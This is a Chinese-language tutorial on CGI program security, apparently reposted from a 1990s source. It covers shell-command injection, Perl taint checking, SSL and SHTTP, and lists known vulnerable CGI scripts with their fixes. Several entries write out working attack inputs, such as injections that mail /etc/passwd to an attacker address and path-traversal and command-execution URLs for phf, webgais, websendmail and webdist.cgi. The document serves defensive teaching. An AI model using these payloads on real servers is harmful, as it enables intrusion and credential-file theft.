然而，你没有理由在编写CGI程序时可以掉以轻心。事实上，大多数的Web环境并不是chro
oted的，仅仅是因为它禁止了很多人需要在Web服务器中需要的灵活性。即使服务器不是以r
oot身份运行，用户不能将文件系统中的文件全部删除，一些人可以仅仅通过如下的输入，将
/etc/passwd文件寄给me@evil.org作为可能的攻击途径：
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
我可以通过操纵这个漏洞来干很多事情，即使是在一个配置良好的环境中。如果你在一个
简单的CGI程序中容许一个漏洞从你的身边溜过，你怎么能肯定你正确并安全的配置了你复杂
的Unix系统和Web服务器？
答案是你不能。你最好打赌弄清楚你的CGI程序是安全的。在shell中运行它之前不轻易接
受输入是很容易对付的事情,它还是CGI编程中最常见的问题之一。
幸运的是，Perl拥有一个捕捉潜在感染的变量的很好的机制。如果你使用taintperl而不是
Perl(或者perl -T，如果你使用Perl 5),脚本将在潜在感染的变量传递给shell命令处中止。
这将帮助你在开始实际使用CGI程序时捕捉到所有的潜在感染的变量的例子。
注意到Perl拥有比C更多的派生shell的函数。这并不是显而易见的，即使是对于中级的Pe
rl程序员，在执行程序前向后标记派生出一个shell。这是高级语言的风险抉择；因为你不是
很明确地知道它做什么，所以你并不清楚一个函数会产生怎样的安全漏洞。
如果你避免了使用调用shell的函数，那么你不需要删除敏感的输入。在Perl语言中,你可
以通过使用system()或者exec()函数来封装每一个参数。例如，如下的调用很安全的$input
:
system("/usr/ucb/finger",$input{'username'});
然而，在你的finger gateway的情况下，这个特点是毫无用处的，因为你要处理finger命
令的输出，这个，除了你使用system函数外没有方法可以捕获。
在C语言中，你也可以通过使用exec一类的函数来直接执行程序：exev(),exec1(),execvp(
),execlp(),和execle()。exec1()在C语言中等价于Perl中的system()函数。你使用哪一个e
xec函数以及如何使之按你的需要执行：这些细节已经超出了本书的范围。
3.安全处理
我前面简要讨论的只是安全问题的一个方面。现在流行的CGI应用程序倾向于收集信用卡信
息。数据收集是CGI应用程序的一个简单的任务，但是敏感信息的收集需要一个将信息从浏览
器传送给服务器和CGI程序的安全途径。
举个例子，假设我要通过Internet来销售书。我可能在浏览器上建立一个表单，允许要购
书的顾客通过表单提交它的个人信息和信用卡号码。受到这些信息后，我会将它们存储到我
的计算机作为商业记录。
如果有人侵入我的商业计算机，那么他可能会访问存放顾客信息和信用卡号码的机密数据
。为了避免这种情况，我会审查我的计算机配置安全了，并确定用来接受表单的CGI脚本不会
被恶意的操纵。换句话说，我，作为计算机的系统管理员和CGI程序员，要尽力控制住第一个
问题：防止信息直接从我的计算机中被窃取。
然而，怎样防止当信息由客户端发往服务器过程中有人中途窃取呢？记住信息怎样由Web服
务器传送到CGI程序了吗？信息通过网络由浏览器先传送到服务器，然后服务器将信息传送给
CGI程序。这些信息可能在由客户机传送到服务器时被中途窃取(如图2)。注意，为了保护信
息使其不会被中途窃取，必须在客户和服务器之间进行加密。当然，如果你的客户机不能识
别的话，你不能执行特定CGI的加密。
_______________ ______________
| 浏览器 | 表单输入 | |
|(用户提交表单; |—————————————>| |
|浏览器将其以通 |<—————————————| 服务器 |
|常文本发送出去)| 分析CGI输出 | |
--------------- | | --------------
| | 表 || /\CGI
不怀好意的hacker 单 || ||输
输 || ||出
入 || ||
\/ ||
_____________
| |
| CGI |
| |
-------------
(图2)
更多的：Java，CGI和安全处理
由于Web处理的特点，使用你独有的单独通过CGI程序实现的安全处理协议的唯一途径是:在
表单信息通过浏览器传送到服务器之前将其加密。这个方案如图3。
_______________ ______________
| 浏览器 | 加密表单输入 | |
| 用户提交表单; |—————————————>| |
|浏览器将输入加 |<—————————————| 服务器 |
|密,发送加密信息| 分析CGI输出 | |
--------------- | | --------------
| | 加 || /\CGI
阻止 修补 密 || ||输
恶意 再次 输 || ||出
hacker 阻止 入 || ||(解密)
\/ ||
_____________
| CGI |
|解密处理输入,|
| 发出响应。 |
-------------
(图3)
之前，发展你自己的安全处理协议几乎是不可能的。感谢Java这样的语言,最近在客户端处
理所作的创新，使得这个发展变成可能。
方法是产生一个标准HTML格式扩展的Java接口。当Java的提交按钮被选择时，Java Apple
t会在利用标准的POST HTTP请求将它发送到Web服务器前先将值加密
(参照图4)
Web浏览器
_______________ ______________
| JAVA APPLET | 加密数据 | |
| 表单;用户提交 |—————————————>| |
|数据,APPLET加密|<—————————————| 服务器 |
|数据,发给服务器| CGI输出 | |
--------------- --------------
加 || /\CGI
密 || ||输
数 || ||出
据 || ||
\/ ||
________________
| CGI |
|使用与APPLET相同|
|方案解密数据并处|
|理,发出解密响应.|
----------------
(图4)
使用Java作为客户机来发送和接收加密的数据将允许你使用自己定制的加密方案，而不需
要一个昂贵的商业服务器。
因此，在网络上安全保密地传送数据信息需要调整浏览器和服务器之间的通信路径，有一些
是不能仅仅靠CGI就能够控制的。目前有两种加密客户机/服务器信息处理的建议：SSL(Secu
re Sockets Layer)和SHTTP(Secure HTTP),分别由Netscape和EIT(Enterprise Integration
s Technology)提议。关于这点，目前还不清楚哪一个将成为标准；很多公司在他们的服务器
中两种都采用了。因此，知道如何在这两者中编写CGI程序是很有用的。
3-1.SSL
SSL是一个协议独立的加密方案，在网络信息包的应用层和传输层之间提供了安全的通道(
参照图5)。简单说来，就是HTML或CGI经过了幕后的服务器进行了加密处理，然而对HTML和C
GI的作者来说是透明的。
_______________ ____________________
| 浏览器 | 传输层加密数据 | 服务器 |
|(发出标准的HTTP |—————————————>|(解密数据;解释成标准|
| 请求) |<—————————————|请求并发出标准响应) |
---------------- 传输层加密数据 --------------------
(图5)
因为客户端和服务器端网络程序处理加密过程，几乎你的所有的CGI脚本不需要进行安全事
务的修正。有一个显著的例外。一个nph(no-parse-header)的CGI程序绕过服务器而直接与客
户端进行通信。因此，nph的CGI脚本不会经过加密处理，因为信息未得到加密。受此影响的
一个值得注意的CGI应用程序是Netscape服务器推动的动态实现(Netscape server-push ani
mations)。我怀疑这是主要应该值得注意的，然而，更有可能因为要安全的传输敏感信息而
牺牲页面中的动画。
3-2.SHTTP
SHTTP采用一种和SSL不同的方法。它通过扩展HTTP协议(应用层)来运作，优于一个较低层
。因此，尽管SSL可以应用于所有的网络服务，然而SHTTP是一个特定的Web协议。
另外，还有其它的优点。作为HTTP的扩展集，SHTTP全兼容于HTTP和SHTTP的浏览器和服务
器。为了使用SSL,你必须有一个支持SSL的浏览器和服务器。另外，SHTTP是一个更灵活的协
议。例如，这个服务器可以指定首选的加密方案。
SHTTP处理依赖于附加的HTTP头。因此，如果你想让你的CGI程序采用SHTTP的加密处理，你
需要包含适当的头。例如，替换简单返回HTTP头。
Content-type:text/html
当一个SHTTP服务器从CGI应用程序中收到这个信息，它会知道在将其发送到浏览器之前将
信息加密。一个非SHTTP的浏览器将忽略附加的头。
关于使用SHTTP的更多的信息，请参照SHTTP的说明书:
http://www.commerce.net/information/standards/drafts/shttp.txt
4.概要
安全是你在处理网络应用程序(例如WWW)中不可避免的一件事。如果你的Web服务器没有安
全的配置，那么编写安全的CGI应用程序就不是非常有用的了。一个正确配置的Web服务器，
从另一方面讲，可以最小限度的减少因为糟糕的CGI脚本而带来的损害。
大体上，我们应该记住下面的原则：
A.你的程序应当只能提供你指定的服务。
B.不到必要的时候不暴露任何有关你的服务器的信息。
C.如果有人成功的闯入你的系统，应最小限度的减少损害。
D.确定你的应用程序是安全可靠并且严密的。
当你编写CGI程序时，要特别注意你的编程语言的局限性(或不足)以及传递给shell的不确
定的变量。
5 常见CGI安全问题
5.1
类型： 攻击型
名字： phf
风险等级： 中
描述： 在NCSA 或者 Apache (1.1.1版本以内)非商业版本的Web Server中有一段程序util.
c,允许黑客以root身份执行任何一个指令:
http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here
建议：
解决方法： 把Apache web server升级到1.1.1以上，或者将NCSA web server升级到最新版
本
5.2
类型： 攻击型
名字： wguset.exe
风险等级： 中
描述： 如果您使用NT做为您的WebServer的操作系统，而且wguest.exe存在于您的Web可执行
目录中的话，入侵者将能利用它阅读到您的硬盘上所有USR_<hostname>用户能阅读的文件
建议： 将wguset.exe从你的Web目录移走或删除
解决方法： 将wguset.exe从你的Web目录移走或删除
5.3
类型： 攻击型
名字： rguset.exe
风险等级： 中
描述： 如果您使用NT做为您的WebServer的操作系统，而且rguest.exe存在于您的Web可执行
目录中的话，入侵者将能利用它阅读到您的硬盘上所有USR_<hostname>用户能阅读的文件
建议： 将rguset.exe从你的Web目录移走或删除
解决方法： 将rguset.exe从你的Web目录移走或删除
5.4
类型： 攻击型
名字： perl.exe
风险等级： 低
描述： 在cgi-bin执行目录下存在perl.exe,这属于严重的配置错误。黑客可以在perl.exe后
面加一串指令，利用浏览器在server上执行任何脚本程序
建议： perl.exe是放在任何带执行权限的web目录下都是不安全的
解决方法： 在web目录下移除perl.exe这个程序.
5.5
类型： 攻击型
名字： shtml.exe
风险等级： 低
描述： 如果您使用Front Page作为您的WebServer，那么入侵者能够利用IUSR_<lt;hostnam
e>用户和shtml.exe入侵您的机器，做您不希望的事
建议： 将shtml.exe从你的Web目录移走或删除
解决方法： 将shtml.exe从你的Web目录移走或删除
5.6
类型： 攻击型
名字： wwwboard.pl
风险等级： 低
描述： wwwboard.pl程序容易引起攻击者对服务器进行D.O.S攻击
建议： 如无必要可以删除该文件
解决方法： 对get_variables的子程序中的下面这段:
if ($FORM{'followup'}) { $followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}"; }
替换为:
if ($FORM{'followup'}) {
$followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}";
# WWWBoard Bomb Patch
# Written By: Samuel Sparling sparling@slip.net}
$fn=0;
while($fn < $num_followups)
{
$cur_fup = @followups $fn};
$dfn=0;
foreach $fm(@followups)
{
if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# End WWWBoard Bomb Patch
}
5. 7
类型： 攻击型
名字： uploader.exe
风险等级： 中
描述： 如果您使用NT作为您的WebServer的操作系统,入侵者能够利用uploader.exe上传任何
文件
建议： 将uploader.exe从你的Web目录移走或删除
解决方法： 将uploader.exe从你的Web目录移走或删除
5.8
类型： 攻击型
名字： bdir.htr
风险等级： 高
描述： 如果您使用NT做为您的WebServer的操作系统，而且bdir.htr存在于您的Web可执行目
录中的话，入侵者将能利用它在您的服务器上无止境的创建ODBC数据库，并生成一些可执行
的文件。
建议： 将bdir.htr从你的Web目录移走或删除
解决方法： 将bdir.htr从你的Web目录移走或删除
5.9
类型： 攻击型
名字： Count.cgi
风险等级： 高
描述： 在/cgi-bin目录下的Count.cgi程序(wwwcount2.3版本)有一个溢出错误,允许入侵者
无须登录而远程执行任何指令.
建议： 如无必要可以删除该文件
解决方法： 将wwwcount升级到2.4或者以上
5.10
类型： 攻击型
名字： test-cgi
风险等级： 高
描述： test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息
建议： 建议审核cgi-bin目录下的执行程序，严格控制访问权限
解决方法： 删除test-cgi文件
5.11
类型： 攻击型
名字： nph-test-cgi
风险等级： 高
描述： nph-test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息
建议： 建议审核cgi-bin目录下的执行程序，严格控制访问权限
解决方法： 删除nph-test-cgi文件
5.12
类型： 攻击型
名字： php.cgi
风险等级： 低
描述： php.cgi程序有较多的漏洞，包括缓存溢出漏洞，还有导致任何系统文件可以被入侵
者读取的漏洞
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除php.cgi程序是最好的办法
5.13
类型： 攻击型
名字： handler
风险等级： 低
描述： IRIX 5.3, 6.2, 6.3, 6.4的/cgi-bin/handler程序存在缓存溢出错误，允许入侵者
在server上远程执行一段程序:
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download
HTTP/1.0
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除handler文件
5.14
类型： 攻击型
名字： webgais
风险等级： 高
描述： /cgi-bin，目录下的webgais是GAIS搜索工具的一个接口,它有一个毛病使入侵者可以
绕过程序的安全机制，执行系统命令:
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)
telnet target.machine.com 80
query=';mail+you\@your.host</etc/passwd;echo'&output=subject&domain=paragraph
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除webgais文件
5.15
类型： 攻击型
名字： websendmail
风险等级： 高
描述： /cgin-bin目录下的websendmail程序允许入侵者执行一个系统指令:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the string pas
sed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subje
ct=a
&content=a
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 高级用户:编辑websendmail脚本,过滤特殊字符
一般用户:删除websendmail文件
5.16
类型： 攻击型
名字： webdist.cgi
风险等级： 高
描述： 对于Irix6.2和6.3平台,/cgi-bin目录下的webdist.cgi有一个弱点允许入侵者无须登
录而在系统上执行任何指令:
http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除/var/www/cgi-bin/webdist.cgi目录下的webdist.cgi
5.17
类型： 攻击型
名字： faxsurvey
风险等级： 高
描述： 在Linux S.u.S.E上/cgi-bin目录下的faxsurvey程序允许入侵者无须登录就能在服务
器执行指令:
http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除/cgi-bin/faxsurvey文件
5.18
类型： 攻击型
名字： htmlscript
风险等级： 中
描述： 安装了htmlscript2.99x或者更早版本的服务器，存在一个毛病使入侵者可以查看服
务器上的任何文件:
http://www.vulnerable.server.com/cgi-bin/htmlscript?../../../../etc/passwd
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除/cgi-bin/htmlscript脚本文件,或者将htmlscript升级到3。0以上
5.19
类型： 攻击型
名字： pfdisplay
风险等级： 中
描述： 在Irix6.4或者更早版本的web服务器上，/cgi-bin/pfdisplay程序允许入侵者非法查
看服务器上的文件
建议： 建议审核cgi-bin目录，避免有不必要的程序存在
解决方法： 删除/cgi-bin/pfdisplay文件,或者打补丁
补丁可以去sgigate.sgi.com (204.94.209.1) 或者ftp.sgi.com下载:
Filename: README.patch.3018
Algorithm #1 (sum -r): 37955 11 README.patch.3018
Algorithm #2 (sum): 15455 11 README.patch.3018
MD5 checksum: 1169EB51D75E0794C64C2C1FD6211B69
Filename: patchSG0003018
Algorithm #1 (sum -r): 01679 2 patchSG0003018
Algorithm #2 (sum): 12876 2 patchSG0003018
MD5 checksum: BD16A53A0AE693D6E9E276EE066BDBC8
Filename: patchSG0003018.idb
Algorithm #1 (sum -r): 01339 2 patchSG0003018.idb
Algorithm #2 (sum): 251 2 patchSG0003018.idb
MD5 checksum: 1CB16E6A8C50BF17CD02A29C2E
(http://www.fanqiang.com)
进入【UNIX论坛】
|
|
| 相关文章 |
CGI安全漏洞资料速查 v1.0 (2001-04-19 16:27:16)
|
|
|
|
|
★ 樊强制作 欢迎分享 ★ |